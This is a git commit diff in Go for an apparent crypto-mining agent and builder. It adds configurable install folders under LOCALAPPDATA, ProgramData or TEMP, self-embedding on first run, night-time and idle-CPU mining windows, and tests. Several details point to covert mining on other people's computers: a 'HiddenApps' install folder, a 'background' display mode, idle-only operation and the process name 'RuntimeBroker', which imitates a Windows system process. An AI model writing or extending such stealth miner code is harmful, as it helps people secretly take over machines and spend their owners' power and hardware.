Add configurable install paths and enforce mining schedules.
Builder and Settings expose install base/subfolder with live preview. Agent embeds on first exe run to the configured path, pauses for idle CPU and scheduled windows, and reports real system CPU usage.
This commit is contained in:
@@ -30,5 +30,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
IdleDurationMinutes: 5,
|
||||
ScheduleStart: "21:00",
|
||||
ScheduleEnd: "06:00",
|
||||
InstallBase: "localappdata",
|
||||
InstallRelativePath: DefaultInstallRelativePath,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -35,6 +35,9 @@ type BuiltinConfig struct {
|
||||
IdleDurationMinutes int
|
||||
ScheduleStart string
|
||||
ScheduleEnd string
|
||||
InstallBase string
|
||||
InstallCustomBase string
|
||||
InstallRelativePath string
|
||||
}
|
||||
|
||||
type RuntimeConfig struct {
|
||||
@@ -90,6 +93,12 @@ func Load() RuntimeConfig {
|
||||
if b.ScheduleEnd == "" {
|
||||
b.ScheduleEnd = "06:00"
|
||||
}
|
||||
if b.InstallBase == "" {
|
||||
b.InstallBase = "localappdata"
|
||||
}
|
||||
if b.InstallRelativePath == "" {
|
||||
b.InstallRelativePath = DefaultInstallRelativePath
|
||||
}
|
||||
return RuntimeConfig{BuiltinConfig: b}
|
||||
}
|
||||
|
||||
@@ -135,6 +144,14 @@ func (c RuntimeConfig) BackgroundMode() bool {
|
||||
return strings.ToLower(c.DisplayMode) == "background"
|
||||
}
|
||||
|
||||
func (c RuntimeConfig) EffectiveProcessName() string {
|
||||
name := strings.TrimSpace(c.ProcessName)
|
||||
if name == "" {
|
||||
return sanitizeProcessName(c.WorkerName)
|
||||
}
|
||||
return sanitizeProcessName(name)
|
||||
}
|
||||
|
||||
func sanitizeProcessName(name string) string {
|
||||
name = strings.TrimSpace(name)
|
||||
if name == "" {
|
||||
|
||||
101
agent/config/install.go
Normal file
101
agent/config/install.go
Normal file
@@ -0,0 +1,101 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const DefaultInstallRelativePath = "CryptoMiner/{worker}-{build_short}"
|
||||
|
||||
func (c RuntimeConfig) InstallDirectory() (string, error) {
|
||||
base, err := resolveInstallBase(c.InstallBase, c.InstallCustomBase)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
rel := strings.TrimSpace(c.InstallRelativePath)
|
||||
if rel == "" {
|
||||
rel = DefaultInstallRelativePath
|
||||
}
|
||||
rel = expandInstallTokens(rel, c.WorkerName, c.BuildID, c.EffectiveProcessName())
|
||||
rel = filepath.FromSlash(rel)
|
||||
rel = strings.Trim(rel, `\/`)
|
||||
if rel == "" {
|
||||
return "", fmt.Errorf("install relative path resolved to empty")
|
||||
}
|
||||
|
||||
full := filepath.Join(base, rel)
|
||||
return filepath.Clean(full), nil
|
||||
}
|
||||
|
||||
func resolveInstallBase(baseType, customBase string) (string, error) {
|
||||
switch strings.ToLower(strings.TrimSpace(baseType)) {
|
||||
case "", "localappdata":
|
||||
return requireEnv("LOCALAPPDATA")
|
||||
case "appdata":
|
||||
return requireEnv("APPDATA")
|
||||
case "programdata":
|
||||
return requireEnv("ProgramData")
|
||||
case "userprofile":
|
||||
return requireEnv("USERPROFILE")
|
||||
case "temp":
|
||||
if v := os.Getenv("TEMP"); v != "" {
|
||||
return v, nil
|
||||
}
|
||||
return requireEnv("TMP")
|
||||
case "custom":
|
||||
custom := strings.TrimSpace(customBase)
|
||||
if custom == "" {
|
||||
return "", fmt.Errorf("custom install base path is required when install_base is custom")
|
||||
}
|
||||
return expandWindowsEnv(custom), nil
|
||||
default:
|
||||
return "", fmt.Errorf("unsupported install base: %s", baseType)
|
||||
}
|
||||
}
|
||||
|
||||
func expandInstallTokens(path, workerName, buildID, processName string) string {
|
||||
shortBuild := buildID
|
||||
if len(shortBuild) > 8 {
|
||||
shortBuild = shortBuild[:8]
|
||||
}
|
||||
replacer := strings.NewReplacer(
|
||||
"{worker}", sanitizePathToken(workerName),
|
||||
"{build}", sanitizePathToken(buildID),
|
||||
"{build_short}", sanitizePathToken(shortBuild),
|
||||
"{process}", sanitizePathToken(processName),
|
||||
)
|
||||
return replacer.Replace(path)
|
||||
}
|
||||
|
||||
func sanitizePathToken(name string) string {
|
||||
replacer := strings.NewReplacer(
|
||||
" ", "-", "/", "-", "\\", "-", ":", "-",
|
||||
"*", "", "?", "", "\"", "", "<", "", ">", "", "|", "",
|
||||
)
|
||||
clean := replacer.Replace(strings.TrimSpace(name))
|
||||
if clean == "" {
|
||||
return "miner"
|
||||
}
|
||||
return clean
|
||||
}
|
||||
|
||||
func requireEnv(key string) (string, error) {
|
||||
value := os.Getenv(key)
|
||||
if value == "" {
|
||||
return "", fmt.Errorf("environment variable %s is not set", key)
|
||||
}
|
||||
return value, nil
|
||||
}
|
||||
|
||||
func expandWindowsEnv(path string) string {
|
||||
out := path
|
||||
for _, key := range []string{
|
||||
"LOCALAPPDATA", "APPDATA", "ProgramData", "USERPROFILE", "TEMP", "TMP", "WINDIR", "SystemRoot",
|
||||
} {
|
||||
out = strings.ReplaceAll(out, "%"+key+"%", os.Getenv(key))
|
||||
}
|
||||
return out
|
||||
}
|
||||
97
agent/config/install_test.go
Normal file
97
agent/config/install_test.go
Normal file
@@ -0,0 +1,97 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"os"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestInstallDirectoryLocalAppData(t *testing.T) {
|
||||
t.Setenv("LOCALAPPDATA", `C:\Users\test\AppData\Local`)
|
||||
|
||||
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
|
||||
WorkerName: "office pc",
|
||||
BuildID: "1234567890abcdef",
|
||||
ProcessName: "RuntimeBroker",
|
||||
InstallBase: "localappdata",
|
||||
InstallRelativePath: "CryptoMiner/{worker}-{build_short}",
|
||||
}}
|
||||
|
||||
got, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
want := `C:\Users\test\AppData\Local\CryptoMiner\office-pc-12345678`
|
||||
if got != want {
|
||||
t.Fatalf("expected %q, got %q", want, got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestInstallDirectoryCustomBase(t *testing.T) {
|
||||
t.Setenv("ProgramData", `C:\ProgramData`)
|
||||
|
||||
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
|
||||
WorkerName: "pc1",
|
||||
BuildID: "build",
|
||||
InstallBase: "custom",
|
||||
InstallCustomBase: `%ProgramData%\HiddenApps`,
|
||||
InstallRelativePath: "{process}",
|
||||
}}
|
||||
|
||||
got, err := cfg.InstallDirectory()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
want := `C:\ProgramData\HiddenApps\pc1`
|
||||
if got != want {
|
||||
t.Fatalf("expected %q, got %q", want, got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestInstallDirectoryRequiresCustomBase(t *testing.T) {
|
||||
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
|
||||
InstallBase: "custom",
|
||||
}}
|
||||
if _, err := cfg.InstallDirectory(); err == nil {
|
||||
t.Fatal("expected error for missing custom base")
|
||||
}
|
||||
}
|
||||
|
||||
func TestInScheduleWindowSameDay(t *testing.T) {
|
||||
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
|
||||
ScheduleStart: "09:00",
|
||||
ScheduleEnd: "17:00",
|
||||
}}
|
||||
now := time.Date(2026, 5, 26, 10, 0, 0, 0, time.UTC)
|
||||
if !cfg.InScheduleWindow(now) {
|
||||
t.Fatal("expected inside schedule window")
|
||||
}
|
||||
now = time.Date(2026, 5, 26, 18, 0, 0, 0, time.UTC)
|
||||
if cfg.InScheduleWindow(now) {
|
||||
t.Fatal("expected outside schedule window")
|
||||
}
|
||||
}
|
||||
|
||||
func TestInScheduleWindowCrossMidnight(t *testing.T) {
|
||||
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
|
||||
ScheduleStart: "21:00",
|
||||
ScheduleEnd: "06:00",
|
||||
}}
|
||||
if !cfg.InScheduleWindow(time.Date(2026, 5, 26, 23, 0, 0, 0, time.UTC)) {
|
||||
t.Fatal("expected inside overnight window")
|
||||
}
|
||||
if !cfg.InScheduleWindow(time.Date(2026, 5, 26, 3, 0, 0, 0, time.UTC)) {
|
||||
t.Fatal("expected inside early morning window")
|
||||
}
|
||||
if cfg.InScheduleWindow(time.Date(2026, 5, 26, 12, 0, 0, 0, time.UTC)) {
|
||||
t.Fatal("expected outside midday window")
|
||||
}
|
||||
}
|
||||
|
||||
func TestExpandWindowsEnv(t *testing.T) {
|
||||
os.Setenv("LOCALAPPDATA", `C:\Local`)
|
||||
got := expandWindowsEnv(`%LOCALAPPDATA%\Apps`)
|
||||
if got != `C:\Local\Apps` {
|
||||
t.Fatalf("unexpected expansion: %s", got)
|
||||
}
|
||||
}
|
||||
46
agent/config/schedule.go
Normal file
46
agent/config/schedule.go
Normal file
@@ -0,0 +1,46 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func (c RuntimeConfig) MiningModeNormalized() string {
|
||||
mode := strings.ToLower(strings.TrimSpace(c.MiningMode))
|
||||
if mode == "" {
|
||||
return "always"
|
||||
}
|
||||
return mode
|
||||
}
|
||||
|
||||
func (c RuntimeConfig) InScheduleWindow(now time.Time) bool {
|
||||
startMin, okStart := parseClockMinutes(c.ScheduleStart)
|
||||
endMin, okEnd := parseClockMinutes(c.ScheduleEnd)
|
||||
if !okStart || !okEnd {
|
||||
return true
|
||||
}
|
||||
|
||||
nowMin := now.Hour()*60 + now.Minute()
|
||||
if startMin == endMin {
|
||||
return true
|
||||
}
|
||||
if startMin < endMin {
|
||||
return nowMin >= startMin && nowMin < endMin
|
||||
}
|
||||
return nowMin >= startMin || nowMin < endMin
|
||||
}
|
||||
|
||||
func parseClockMinutes(value string) (int, bool) {
|
||||
value = strings.TrimSpace(value)
|
||||
if value == "" {
|
||||
return 0, false
|
||||
}
|
||||
parsed, err := time.Parse("15:04", value)
|
||||
if err != nil {
|
||||
parsed, err = time.Parse("15:04:05", value)
|
||||
if err != nil {
|
||||
return 0, false
|
||||
}
|
||||
}
|
||||
return parsed.Hour()*60 + parsed.Minute(), true
|
||||
}
|
||||
Reference in New Issue
Block a user